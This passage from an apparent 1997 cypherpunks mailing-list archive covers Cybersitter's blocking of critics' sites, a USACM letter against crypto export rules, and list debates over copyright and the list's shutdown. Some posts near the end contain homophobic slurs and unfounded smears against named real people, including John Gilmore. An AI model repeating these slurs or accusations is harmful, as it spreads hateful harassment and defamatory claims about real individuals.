the most controversial aspects of cyberspace is censorship. A widely accepted solution to eliminating the "unwanted" is self-imposed censorship, through special software which blocks out types of content not desired. The appeal of these programs is that people needn't rely on distant authority to dictate acceptability. We police ourselves; or at least we have some control over how we will be policed. The news media have generally blessed "blocking software" with unexamined sprinklings of warm praise. After all, who dares suggest that stopping your 5-year-old from seeing graphic gore, violence or sex is bad? What could go wrong with that? But, now critics are starting to ask, who is "watching the watchers?" Could these watchers themselves develop more "creative applications" for their power to silence? Could they apply their own personal prejudices, or even their own hidden agendas? Or is that paranoid nonsense? Ask U.S. author Jonathan Wallace (jw at bway.net). Wallace says California's Solid Oak software, which produces Cybersitter blocking software, has added his site to its "block list" in retaliation for critical remarks he made about the company. Solid Oak claims 900,000 registered Cybersitter users. Wallace, a New York-based software business executive and attorney is co-author of the book _Sex, Laws and Cyberspace_ (Henry Holt, $34.95). Net.column will discuss the book with its author next installment. He's also editor of the monthly Webzine _The Ethical Spectacle_, which focuses on "the intersection of ethics, law and politics in our society." The Webzine recently asked readers to not purchase Cybersitter because of continuing reports of Solid Oak's "unethical behavior." "In the book," Wallace says in a press release explaining his current attitude to Cybersitter, "we took the position -- naively, I now think -- that use of blocking software by parents was a less restrictive alternative to government censorship. We never expected that publishers of blocking software would block sites for their political content alone, as Solid Oak has done." Solid Oak unequivocably denies there is a political agenda of any kind et work. "Absolutely, 100 per cent not," Marc Kanter told the Toronto Star in a phone interview. Kanter is Solid Oak's vice president of marketing. "There is no hidden political agenda." Kanter says someone criticizing Cybersitter would not be blocked. He says Wallace's site is blocked because it "links information on how to hack Cybersitter. We do not allow our customers to have hacking information for the program." Wallace told The Star that's not true. "There's no such information on my site, nor is there on Peacefire's. I link to some pages maintained by Glen Roberts, who -- along with some political commentary on Cybersitter, and analysis of its blocking policy -- offers a (legal) work-around. However, since his site is separately blocked by Cybersitter, there is no reason for them to block my site as well." Kanter dismisses Wallace's complaints. "The guy didn't do any homework," Kanter says. "There are a few people who are right-wing activists who are out there that are trying to defame the filtering program. This is what leads to stories like you are doing -- and hopefully you are not supportive of their actions." Wallace didn't know what to make of that. "I've been called a communist, a socialist, and a wild-eyed civil libertarian, but no one has ever called me right wing before," he says. "Kanter has obviously never read _The Ethical Spectacle_." While Cybersitter, with fanfare, claims its mission is to block Web sites containing pornography, obscenity, gratuitous violence, hate speech, criminal activity, etc., an increasing number of investigative Net.journalists also claim Cybersitter, without fanfare, blocks access to Web sites based on political criteria. FOR OUR OWN GOOD This brouhaha began last summer when CyberWire Dispatch revealed Cybersitter blocks sites based on political agenda, such as the feminist National Organization for Women (www.now.org). Dispatch journalist/editor Brock Meeks asked Solid Oak CEO Brian Milburn (bmilburn at solidoak.com) about that. "Milburn isn't shy about it," Meeks reported. "He was outright indignant when he originally told Dispatch: 'If NOW doesn't like it, tough'." Solid Oak threatened to sue Dispatch for its article, but things quieted down. In December, the issue erupted again when 18-yearold Bennett Haselton (bennett at peacefire.org) wrote an article about the company's selection of blocked sites: "Cybersitter: Where Do We Not Want You To Go Today?" (www.peacefire.org/censorware/CYBERsitter.html). Haselton takes computer science and math at Vanderbilt University. "Peacefire" is his own creation, a teen cyberrights group, average age 15. According to various Net.journalists, Solid Oak now threatened Bennett with a lawsuit and even tried to get the Peacefire site booted from its host system (media3.net) by telling Media3 that Haselton was making it "his mission in life to defame our product" by "routinely" publishing names of sites blocked by Cybersitter. (It should be noted it's easy to figure out which sites are blocked, the software provides an output list. Try "playboy.com" -- blocked. Try "whitehouse.com" -- okay. Try "peacefire.org" -- blocked. Try "now.org" -- blocked.) Unsuccessful in his pressure against Media3, Milburn instead included the peacefire.org domain in Cybersitter's block list. On Dec. 9, HotWired picked the story up (www.wired.com/news/story/901.html). NetAction Notes (www.netaction.org) quickly followed suit. Haselton told his story to the Electronic Frontier Foundation and the EFF assured him it would represent him, should Solid Oak deliver on its threat to sue. On Dec. 20, The Netly News (http://netlynews.com) continued the investigation of Cybersitter. Aside from the irony of Cybersitter censoring the newsgroup alt.censorship, it "blocks dozens of ISPs and university sites such as well .com, zoom.com, anon.penet.fi, best.com, webpower.com, ftp.std.com, cts.com, gwis2.seas.gwu.edu, hss.cmu.edu, c2.org, echonyc.com and accounting.com. Now, sadly, some libraries are using it." BLACK LIST TO BLOCK LIST Wallace read the reports of legal threats against the teenager and thought "Milburn was acting like the proverbial 800-pound gorilla." So Wallace added a link on _The Spectacle_'s homepage called "Don't Buy Cybersitter." "I wrote the company," he says, "informing them of my actions and telling them that they misrepresent their product when they claim it blocks only indecent material, hate speech and the like." Wallace says Solid Oak responded by adding his Webzine to its block list. Learning of this, Wallace wrote Milburn and Solid Oak tech support. "I pointed out that _The Spectacle_ does not fit any of their published criteria for blocking a site," he says. "I received mail in return demanding that I cease writing to them and calling my mail 'harassment' -- with a copy to the postmaster at my ISP." Kanter acknowledges this. "He spoke to us more than once or twice -- he continued to send mail -- mail like that is considered 'not wanted' and is automatically sent back." By the end of our phone conversation, Kanter had dropped the "right-wing activist" explanation of who was behind the Cybersitter complaints and offered a new one: "Some of this rhetoric was started by someone we believe to be a highly -- how do you put it? -- a highly homosexual individual, who did not believe we should have the right to block any sites or links to alternative lifestyles. That's how a lot of this got started." Why is the National Organization for Women site blocked? "Very simple. It contains links to gay and lesbian hardcore material. I was on their page this morning, and there is a lot of offensive material linked directly. Just go to their links page and start looking at 'gay' and 'feminism.' Our parents don't want that kind of stuff." I asked if he really meant "hardcore" -- suggestive of full-penetration images/stories. "Yes, by links through links," he clarifies. If someone followed the links starting at now.org, they'd eventually find hardcore sexual material. Kanter says parents are not permitted to know which sites Cybersitter blocks. "That list is not given to anybody under any circumstances -- including law enforcement agencies that have requested it." He says it's to prevent the list from "getting into the wrong hands." It would be a cybermap to naughtiness for some kids. And parents aren't allowed to remove blocked sites from Cybersitter, although they can add to the list. Cyber-rights activists claim the incident underscores warnings they've issued for years: While censorship software may first aim to protect children against "pornography," it can quickly be adopted for political agendas. _The Ethical Spectacle_ is at www.spectacle.org. Solid Oak's Web site can be found at www.solidoak.com. -30- Copyright 1997 K.K. Campbell From EALLENSMITH at ocelot.Rutgers.EDU Fri Feb 14 17:12:06 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Fri, 14 Feb 1997 17:12:06 -0800 (PST) Subject: RRE: USACM analysis of Commerce Dept crypto export proposals Message-ID: <199702150112.RAA20371@toad.com> From: IN%"rre at weber.ucsd.edu" 14-FEB-1997 08:14:58.81 To: IN%"rre at weber.ucsd.edu" CC: Subj: USACM analysis of Commerce Dept crypto export proposals =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 13 Feb 1997 22:15:40 -0500 From: Lauren Amy Gelman [...] February 12, 1997 Nancy Crowe Regulatory Policy Division Bureau of Export Administration Department of Commerce Room 2705 14th Street and Pennsylvania Ave., N.W. Washington, D.C. 20230. Docket No. 960918265-6366-03 Dear Ms. Crowe The United States Public Policy Committee for the Association for Computing (USACM) welcomes this opportunity to submit our views on the Interim Rule issued by the Department of Commerce with regard to "Encryption Items Transferred From the United States Munitions List to the Commerce Control List." The USACM believes it is in the best interest of the U.S. government to promote the widespread use of strong encryption. >From our perspective the Interim Rule fails to recognize the legitimate needs and interests of academic, professional, scientific, and ordinary users of telecommunications technology. Thus, the Interim Rule must be modified before it can resolve the many problems with the current export controls on encryption technologies. Introduction and Summary The Association for Computing is an international professional society whose 76,000 members (60,000 in the U.S.) represent a critical mass of computer scientists in education, industry, and government. The USACM provides a means for promoting dialogue on technology policy issues with United States policy makers and the general public. We have identified a number of serious problems with specific provisions of the Interim Rule. As a professional society of computer scientists which produces a number of peer-reviewed technical journals, we are concerned that the Interim Rule will hamper both communication and education in our field. Part 7.34.3 (b)(3) which refers to the distinction between printed and electronic publications of cryptographic materials is unworkable under the new paradigms of electronic publishing and communications. Electronic media, including the World Wide Web, listserves, Usenet news groups, and video conferencing are becoming the prominent means by which scientists communicate. Provisions of the Rule, specifically Parts 7.34.9 and 744.9, which affect teaching cryptography to foreign students are vague and contradictory. Educational environments are not limited to academic institutions but also occur in national and industry labs and by distance education. Restrictions on cryptography exports must not interfere with the traditional freedom of access over digital networks which is indispensable to maintain motivated and effective academic and research communities. We also believe that the development of public policies and technical standards for communications technologies, such as a Key Recovery Infrastructure (KRI), raise vital issues of privacy, competitiveness, and scientific innovation. Parts 740.8 and 742.15 raise a number of troubling issues for the computing community. We believe it is unwise for the Commerce Department to link relaxing export controls on 56-bit encryption to the development of a KRI as both the desirability and the feasibility of such a system remains uncertain. Key recovery products have not yet been subject to the vigorous testing necessary for a proposed standard and there is little understanding of how such a system would operate and what controls would be needed to ensure that it remained secure. Also, Supplement No. 7 to part 742 (which requires that businesses who wish to export 56-bit encryption before 1998 submit a biannual business plan for developing key recovery products) will stifle the innovation of new cryptography technologies and discourage the process of scientific innovation. We believe the Commerce Department should not promulgate regulations which prohibit U.S. research and development from responding to market demands and limit the ability of Americans using new on-line services to protect their privacy. Analysis The USACM has identified electronic publication, education, research and development, key recovery, and privacy as problematic areas which need addressing. We have outlined our concerns below: Electronic Publishing It is unreasonable and unconstitutional to distinguish between printed and electronic distribution of encryption source code as set forth in the note to Part 7.34.3 (b)(2) and (b)(3). A Federal Court in California has ruled in Bernstein v. U.S. Department of State that source code is speech and is thus protected under the first amendment. This distinction is also currently being challenged in a federal court in the District of Columbia in Karn v. U.S. Department of State. The USACM joined the Electronic Privacy Information Center, the American Civil Liberties Union, and the Internet Society in submitting an Amici Curiae brief in the case which argued that such language is an impermissible regulation aimed at the suppression of expression. As computer scientists we see no practical reason why the Commerce Department should insist on creating a distinction when one does not exist. The ACM is the publisher of numerous scientific publications and conference proceedings. They range from our flagship journal Communications of the ACM (CACM) to the on-line, peer-reviewed journal Experimental Algorithms. All 76,000 members of ACM, including 15,000 members overseas, receive CACM by mail and have access to ACM's on-line publications. ACM foresees a time when all its publishing will be electronic and on-line. At that time, it will need interoperable encryption technology available in the U.S. and in its mirror sites abroad to dispense its material. Its subscribers worldwide will need access to secure, commercial encryption as well. An article which described the development of a new cryptographic algorithm would likely appear in one of the many technical journals or conference proceedings published by ACM or the Institute for Electronics and Electrical Engineers (IEEE), another international professional society. In fact a number of the groundbreaking articles in the field of cryptography science were originally published by ACM and IEEE. Publication of encryption algorithms is extremely important to the field of cryptography. In order for an algorithm to be trusted, it must be challenged. To do that, the code must be made widely available. Foreign members of ACM will be unable to access in electronic format the same articles they currently receive in the printed journal. And, it is technically impossible, at this late date, to partition ACM's publications into distinct paper and electronic (hence encryptable) media. Electronic communications, including the World Wide Web, list serves, Usenet news groups, and video conferencing are becoming the prominent means by which scientists communicate. Science is a global pursuit and there exists a open communications network between scientists in different countries. Part 734.2 which prohibits making cryptographic software available outside the U.S. will not only eliminate this international communication but also technical communication among U.S. scientists. In electronic communications it is not always clear to whom the information is being transmitted. WWW sites and Usenet news groups are accessible by anyone with a modem. Video conferences can be retransmitted overseas and moderated listserves are difficult to control. The Interim Rule refers to an individual taking "precautions adequate to prevent unauthorized transfer of such code outside the U.S." It is our belief that it would be impossible to be certain of any precautions taken. This will effectively eliminate all communications on electronic media that describe or discuss cryptographic source code. We believe the interim rule must be revised to eliminate the distinction between printed and electronic source code and to allow for open communications within scientific communities. Restricting these communications will retard the evolution of the science and the development of new algorithms and cryptographic devices. Education Many ACM members are computer science professors and teachers, so we are concerned about the contradictions in the proposed regulations with regards to education. A number of fields and sub-fields address cryptography as part of their curricula. Part 734.9 states that "Educational Information" is not subject to the new regulations if it is "released by instruction in catalog courses and associated teaching laboratories of academic institutions." Computer science, mathematics, engineering, and electronic security may all include technical instruction in encryption technologies and would be covered in U.S. university classrooms. However, questions arise with regard to distance and home or overseas education because of Part 744.9. It states that "No U.S. person may, without a license from BXA, provide technical assistance (including training) to foreign persons with the intent to aid a foreign person in the development or manufacture outside the United States..." While Part 744.9 defines a U.S. person it does not define "technical assistance" or "training." It is uncertain whether a U.S. professor teaching a course in which foreign students are registered, or teaching a course in cryptography overseas would be "training" a foreigner to develop a cryptographic device if the course work was more detailed than "a discussion of information about cryptography." This would affect course studies as disparate as 'number theory' and 'local area networks'. Also, educational environments are not limited to academic institutions but are also found in national and industry labs. Many computer scientists receive their first hands on training after they graduate from their University. It is unclear whether this "training" or "technical assistance" is in violation of the Interim Rule. The intent of the training is give the new employee the practical tools necessary to participate in the field of cryptography science, and is not necessarily intended to be project or employer specific. While the General prohibition in Part 744.9 discusses the meaning of intent as applied to an academic setting, it is not clear if "academic setting" can be applied to instruction which occurs outside of the University environment. The argument made previously with regard to digital media also applies to education. As part of their course work, students often use electronic media as resources (WWW, digital libraries, CD-ROMs), as a communication device for the class outside the classroom (electronic mail, listserves), and to learn from listening to the discussions among research scientists (Usenet groups, listserves). Part 7.34.3 (b)(3) which covers encryption source code in electronic form or media will restrict these types of educational instruction. Instructors will be unable to take advantage of digital media in their courses. Students studying cryptography will be unfairly disadvantaged as they will be unable to access valuable resources even in the process of furthering their education. The USACM believes the contradictions in Parts 7.34 and 744.9 must be resolved in a clear manner so educators are not required to reduce the quality of their courses for fear of misinterpreting the Interim Rule. Specifically, "academic setting," "training," and "technical assistance" must be defined, and distance education, and academic research and communication must be addressed. Research and Development Encryption policies must reflect the needs of the global market. The international demand for products which incorporate strong cryptographic tools is growing. Such products are widely available and produced by a number of nations. U.S. scientists have been prominent in the development of current encryption technologies. The field has developed though research and development efforts along many different tangents, only one of which describes key recovery products. There is little evidence that the demand for cryptography tools is limited to those products which incorporate key recovery protocols. Part 742.15 (which states that businesses must submit a business plan for the development of key recovery products before they may export 56- bit software; the license must be renewed biannually until 1998 when only key recovery products will be allowed for export) will restrict the U.S. to producing only products which incorporate KRI protocols. Mandating that businesses develop key recovery products will also impede the natural market development of novel and innovative systems. Part 740 hypothesizes that a worldwide KRI will be desirable, feasible, and in place by 1998. However it is unclear whether key recovery is the best alternative. Research along new tangents will continue in non- industry and non-U.S. settings. A new protocol may be discovered which is considered a better choice for a worldwide infrastructure. There will exist a great market demand for variety in choosing a security system to fit the needs of the distinct commercial group. If this happens U.S. scientists and industry will be at a disadvantage as they will have only a core competence in key recovery protocols as per Part 740.8. There are a variety of commercial groups interested in utilizing the Internet for business interactions and transactions. Without interoperable encryption programs, commercial needs in an increasing global environment cannot be met. Supplement No. 4 to Part 742 states that a product can not interact with another product whose key recovery system has been "altered, bypassed, disabled, or otherwise rendered inoperative." This will be a major source of problems for researchers and educators, as well as government and commercial institutions. The result of a system not being able to talk to another system because of an intentional or accidental disabling of the KRI protocols can have a very large impact on telemedicine, research, government operations, and commercial enterprises. The USACM believes the Interim Rule should be rewritten to avoid dissuading innovation and development and eliminating the U.S.'s core competency in cryptography. It should also recognize the need for consistency in interoperable systems. Key Recovery The USACM recognizes that there is a real market demand for key recovery products from business and government employers. However, the viability of a KRI has not yet been determined. It has not yet been subject to the vigorous testing necessary for a proposed standard. There is little understanding of how such a system would operate and what controls would be needed to ensure that it remained secure. Part 740 describes the development of a Key Recovery Infrastructure within two years. We believe it is unwise for the United States to insist on the development of a untested, unproved technology for a worldwide infrastructure. The National Research Council report stated that a feasibility study needed to be performed on a smaller scale before key escrow could be seriously proposed for commercial applications. We believe this warning applies to KRI as well. While key recovery tools may be appropriate in some settings, we believe it would be wrong to impose such restrictions on users or businesses and the Interim Rule should not dictate that businesses limit their research to a potentially unworkable system. Privacy The USACM believes that certain principles should be reflected in a national cryptography policy. Encryption should be used for privacy protection and to encourage the development of technologies and institutional practices which will provide real privacy for the future users of the NII and real security for the protection of the system. The USACM believes that transferring the regulation of cryptography to the Commerce Department could establish United States leadership in protecting the privacy rights of its citizens. However the Interim Rule fails to do that. Conclusion We recognize that the government has a legitimate interest in protecting national security. However, whether or not the worldwide infrastructure is achieved, the role of national security agencies will remain difficult. The government's proposal to balance national security, business, and privacy interests by creating a Key Recovery Infrastructure within the next two years is overly aggressive. We suggest that the development of a policy that serves the long term interests of our nation's security will not be one based on a Key Recovery Infrastructure, but rather one that anticipates the widespread availability of strong encryption and the multifaceted demands of a global economy. Toward that end, the interests in protecting open research within the U.S. academic community will be crucial. Sincerely, Barbara Simons, Ph.D Chair, United States Public Policy Office for the Association for Computing The ACM, founded in 1947, is an international non-profit educational and scientific society dedicated to the development and use of information technology, and to addressing the impact information technology has on the world's major social challenges. The Association's activities include the publication of scholarly journals and the sponsorship of special interest groups (SIGS) in numerous disciplines. ACM has 76,000 members. The 60,000 who reside in the United States are academic, professional, scientific, and ordinary users of telecommunications technology and have a strong interest in the development of sound encryption policies. The USACM provides a means for promoting dialogue on technology policy issues with United States policy makers and the general public. We respond to requests for information and technical expertise from United States government agencies and departments, seeks to influence relevant United States government policies on behalf of the computing community and the public, and provides information to the ACM on relevant United States government activities. ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- Lauren Amy Gelman gelmanl at gwis2.circ.gwu.edu George Washington University gelman at epic.org Science, Technology, and Public Policy Program gelman at acm.org From kent at songbird.com Fri Feb 14 17:13:18 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 14 Feb 1997 17:13:18 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702150113.RAA20407@toad.com> Declan McCullagh allegedly said: > > > On Fri, 14 Feb 1997, Jim Choate wrote: > > > I am taking intellectual property rights from nobody. If anything I am > > giving unlimited intellectual rights to the material to humankind for > > posterity. Sorta cypherpunkish, don't you think? > > I am amused by this. Jim's plan sounds much less cypherpunkish than > collectivist. Communal property, ho! > > After all, workers have nothing to lose in this revolution but their > chains. They have a world to gain. Workers of the world, unite! Ad hominems are so much fun, eh? -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From omegam at cmq.com Fri Feb 14 17:30:42 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Fri, 14 Feb 1997 17:30:42 -0800 (PST) Subject: Good Bye Cypherpunks! In-Reply-To: <199702140618.WAA23553@toad.com> Message-ID: <199702150130.TAA09170@jolietjake.com> Michael Froomkin writes: > Just for the record. I will not post to USENET given the spamming that > seems to go to IDs that appear there. > > If any of you reading this are interested in law&crypto topics, please > bookmark my homepage, and vist every so often. I suggest that you munge up your from line and possibly your reply-to address in Usenet postings. Folks who actually want to communicate with you can derive your address from your .sig. By the way, I have intentions of including your web page(s) as references in the cypherpunks-resources faq I am producing. Any objections to this? (I know it's in your .sig and you want to advertise it, but it just strikes me as _polite_ to ask.) me -- --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:" to get my public key | _London_Calling_ , 1980 --------------------------------------------------------------------- From ravage at einstein.ssz.com Fri Feb 14 17:43:02 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Fri, 14 Feb 1997 17:43:02 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702150150.TAA07298@einstein> Forwarded message: > From: Kent Crispin > Subject: Re: Private property & the cypherpunks list(s) (fwd) > Date: Fri, 14 Feb 1997 14:10:36 -0800 (PST) > Jim, if I put "Copyright (c) 1997 by Kent Crispin. All Rights > Reserved." in my .sig, would that constitute a "fair-use header"? As I understand it '(c)' is not considered acceptably close to the normal copyright symbol. What I have been advised is to always spell out 'copyright '. Jim Choate CyberTects ravage at ssz.com From ravage at EINSTEIN.ssz.com Fri Feb 14 17:49:46 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Fri, 14 Feb 1997 17:49:46 -0800 (PST) Subject: Fuck UseNet (fwd) Message-ID: <199702150156.TAA07307@einstein> Forwarded message: > Date: Fri, 14 Feb 1997 14:39:41 -0800 (PST) > From: Kent Crispin > But the distributed mailing list is by far the most interesting > solution. Contrary to what some have claimed, it really isn't the > same as usenet -- it allows for distributed control. There is no > doubt that the operator of a mail list host should have the freedom > to set his or her policies as they see fit -- it is their machine, > and their responsibility. And contrariwise, subscribers should have > the freedom to chose list hosts with compatible philosophies. Perhaps in addition to the X-foo structures we have discussed already we might consider adding, X-distrib-policy: foo Where foo might be, Public Domain All rights reserved, contact author for redistribution Distribution for non-commercial uses permitted Refer to authors header Copyleft etc. or whatever the policy might be for a given remailer. This would significantly aid folks in their shopping around. Jim Choate CyberTects ravage at ssz.com From reece at taz.nceye.net Fri Feb 14 18:02:22 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Fri, 14 Feb 1997 18:02:22 -0800 (PST) Subject: Fuck UseNet In-Reply-To: <199702142343.PAA17508@toad.com> Message-ID: <19970215020223.6016.qmail@taz.nceye.net> Delivered-To: reece-cpunks at taz.nceye.net Delivered-To: reece at taz.nceye.net Date: Fri, 14 Feb 1997 19:02:19 +0000 From: paul at fatmans.demon.co.uk Cc: cypherpunks at toad.com, cypherpunks at algebra.com, alt.cypherpunks at news.demon.net Sender: owner-cypherpunks at toad.com Precedence: bulk > So, basically, you're saying that the flight from censorship should > be toward a new CypherPunk 'home' where one is effectively censored > automatically unless one kisses the ass of a Cabal? Absolutely, It is really, as far as I see it anyway, just a stop-gap measure. The caballers haven`t got enough room to do their censorship on the 18000 or so big 7 groups so they decide to fuck up the alt. heirachy as well ;-) Hopefully Igor and co.`s network of Majordomo's should be fully operational soon (as I understand it two are up and a third is on it's way) then we can move back there. Might even get it finished before the 20th????? Why not a network of news servers with mail<->news gateways on some of them? It should even be possible to use the news spool as the queue, so that only info on who needs what messages need lie around rather than 42 copies of the message (something like nntpsend, just using smtp). I actually have some spare time this weekend to try implementing this. From snow at smoke.suba.com Fri Feb 14 18:27:41 1997 From: snow at smoke.suba.com (snow) Date: Fri, 14 Feb 1997 18:27:41 -0800 (PST) Subject: Cypherpunks afraid of spam? In-Reply-To: <199702142356.PAA18079@toad.com> Message-ID: <199702150246.UAA03252@smoke.suba.com> > It seems very strange that the denziens of this list, reputed to be gutsy > enough to take on the FBI, NSA, CIA, and White House, would be scared > away from a discussion forum (Usenet) by uninvited email. > We'd better hope they never figure out Cypherpunks, Guardians of > Privacy and Defenders of Free Speech, are afraid of spam. It isn't the Once and a While Big Ass Knock Down Drag Outs that kick your ass, it is the mosquito's and the heat, the moldy bread and the drip drip drip of the constant rain. Even Solid rock gets worn away by the steady drip drip drip of the rain. I hate that drip. From scotta at sauge.com Fri Feb 14 19:07:24 1997 From: scotta at sauge.com (Scott Auge) Date: Fri, 14 Feb 1997 19:07:24 -0800 (PST) Subject: pgp encrypted messages In-Reply-To: <199702142326.PAA16968@toad.com> Message-ID: <33052867.5AE385E0@sauge.com> Scott A. Hommel wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Is it legal or illegal to send a > PGP encrypted message from the US to someone in another country? > Suppose it depends on what ya put IN the message.... -- How has the government interfered in your life today? From ravage at EINSTEIN.ssz.com Fri Feb 14 19:24:51 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Fri, 14 Feb 1997 19:24:51 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702150331.VAA07416@einstein> Forwarded message: > Date: Fri, 14 Feb 1997 17:39:32 -0800 > From: Toto > Subject: Re: Private property & the cypherpunks list(s) (fwd) > Personally, I try to let people know that they may use even my > private email in any manner they see fit. I have no objection to > even those who disagree with me using it to attack me or misdirect > others, or whatever. > I agree with Jim's 'defacto public domain' idea, as long as it > does not conflict with the reality of the need for intellectual > property rights. > e.g. - copyright and patent law I am not preventing people from retaining their rights. I simply recognize that there are entirely too many different views of 'fair use' to create a blanket order. I also recognize that one responsibility in a democracy of all citizens is the protection of the results of human effort. The best way to protect and preserve information is to place it in the public domain. Of course the other option is to sell large 'collections' to groups like Microsoft who would end up charging you out the ya-ya for looking at 'their' pretty pictures. Wonder what DaVinci would have thought of the way we treat HIS paintings? But I digress. Given that people have many highly individualistic views about copyright of their expression and the need to preserve that expression we must ask ourselves how? One obvious answer is to place everything in the public domain, I am shure the information race we experience now would be nothing compared to that worlds output. However, this prevents truly gifted individuals from being able to spend the time (eg lifetimes) needed to truly master some forms of expression. We certainly don't want to support them on the public dole, so there must be some way for them to make a living off their work. So we recognize their originality or inherent worth in their expression. We also recognize that there can't be complete and total protection because most people would not find a buyer for their expression simply from lack of knowledge. So, lets find a middle ground, one where people can tell other people about things they experience as well as feel secure that their efforts have some inherent worth and also some failsafe to ensure that as much effort as possible gets archived. So let's require each person to include their prefered choice of copyright in their communications, otherwise it falls into the public domain. The only resolution of this approach is that everyone gets what they want. Not relevant in this forum, but I also believe that material being held in copyright should fall into the public domain when the copyright holder dies. > If you are having trouble understanding the concept I am dealing > with, here, then I suggest that you drink a bottle of Scotch and > read this post again. That's certainly one way to get in the correct attitude...;) Jim Choate CyberTects ravage at ssz.com From azur at netcom.com Fri Feb 14 19:47:52 1997 From: azur at netcom.com (Steve Schear) Date: Fri, 14 Feb 1997 19:47:52 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: I want to thank you for the years of graciously hosting the cypherpunks list. Although I have only been active on the list since September, I have lurked much longer and found it to be an invaluable source of information, networking, discourse and inspiration. I respect your decisions first to experiment with moderation and later to pull the plug. I regret your attempts in resolving the uncivil behavior of 'the few' failed and that some key posters, who had served as the 'backbone' of interesting discussion on the list, were driven off by the insuing clamor and the off-topic rants. So be it. One way or another the cypherpunks have spoken. So, now its on to Usnet and more focused/moderated lists. The LIST IS DEAD, long live THE LISTS! --Steve From dlv at bwalk.dm.com Fri Feb 14 20:12:24 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 14 Feb 1997 20:12:24 -0800 (PST) Subject: Dave Hayes takes over Cypherpunks In-Reply-To: <33051F8F.7798@sk.sympatico.ca> Message-ID: Toto writes: > aga wrote: > > How about that we require everybody to state their sex and sexual > > orientation in the future, so we have no future problems. > > I am a "Male Heterosexual" -- what about the rest of you? > > If you refuse to answer, you are presumed to be a gay boy who > > is hiding it. > > I am a "Male, Cross-Dressing Heterosexual." I'm a male heterosexual. Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA. John Gilmore is a U.S.Government shill out to suck resources into fruitless flame war and to sabotage our efforts to deploy crypto. What about Timmy May and Eric Hughes? Are they faggots in U.S.G. employ or mere mindless dupes? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Fri Feb 14 20:12:32 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 14 Feb 1997 20:12:32 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <33051616.2DC2@sk.sympatico.ca> Message-ID: <5Pe62D30w165w@bwalk.dm.com> Toto writes: > Omegaman wrote: > > the notion that cypherpunks is dead and destroyed is silly. > > Give the man a fucking cigar! > Why don't a few of us start a "CypherPunks is ignonimous" thread, > and see what silly clap-trap results? Maybe the thread could be > started by the guy in New York city who began a campaign to clothe > animals, so that their 'dicks' wouldn't show. He garnered quite a > following. > > Did anyone notice the 'pun' in Declan's subject header? > "A List Goes Down In FLAMES" > Did Declan notice it? > > My theory is that the news/press that we consume from our media-feeders > starts around a 'catchy' headline, from which the press then builds a > story to highlight their puns. The whole list? Or just Gilmore goes down on Sandfart and Sandart goes down on Parekh and Parekh goes down on Gilmore - like a daisy chain? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Fri Feb 14 20:14:07 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 14 Feb 1997 20:14:07 -0800 (PST) Subject: A "Default Faggot"/ was:Dale disses gays. In-Reply-To: Message-ID: aga writes: > On Fri, 14 Feb 1997, Anonymous wrote: > > > Date: Fri, 14 Feb 1997 12:45:07 -0700 > > From: Anonymous > > Reply-To: freedom-knights at jetcafe.org > > To: freedom-knights at jetcafe.org > > Subject: Re: Dale disses gays. > > > > aga writes: > > > > > Now just who is thisa guy? -- who keeps posting under > > > "nobody" at the cajones remailer? Anybody have him/her > > > tagged yet for the real person? > > > > Probably multiple people. It's just an anonymous remailer. > > > > > ... > > > I don't know. It has always been easy for me to spot a faggot. I > > > mean, I can even tell by their voice if they are queer. > > > > Well, those of us who happen to know Gilmore is straight are not very > > impressed with your accuracy. > > > > Well, I never talked to Gilmore, but I will tell you this: > I have never seen him come outright and say "I am straight and not > gay." So until he says that, he is a default faggot. > > The default faggots are the worst kind. If a guy would just say > "o.k., I am gay," I can respect him and drop the subject. It is the > ones who refuse to admit they are gay that bug me the most. I used to know cocksucker John Gilmore personally and I'm convinced that he's is an effeminate limp-wristed faggot. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From tcmay at got.net Fri Feb 14 20:16:09 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 14 Feb 1997 20:16:09 -0800 (PST) Subject: The EFF In-Reply-To: 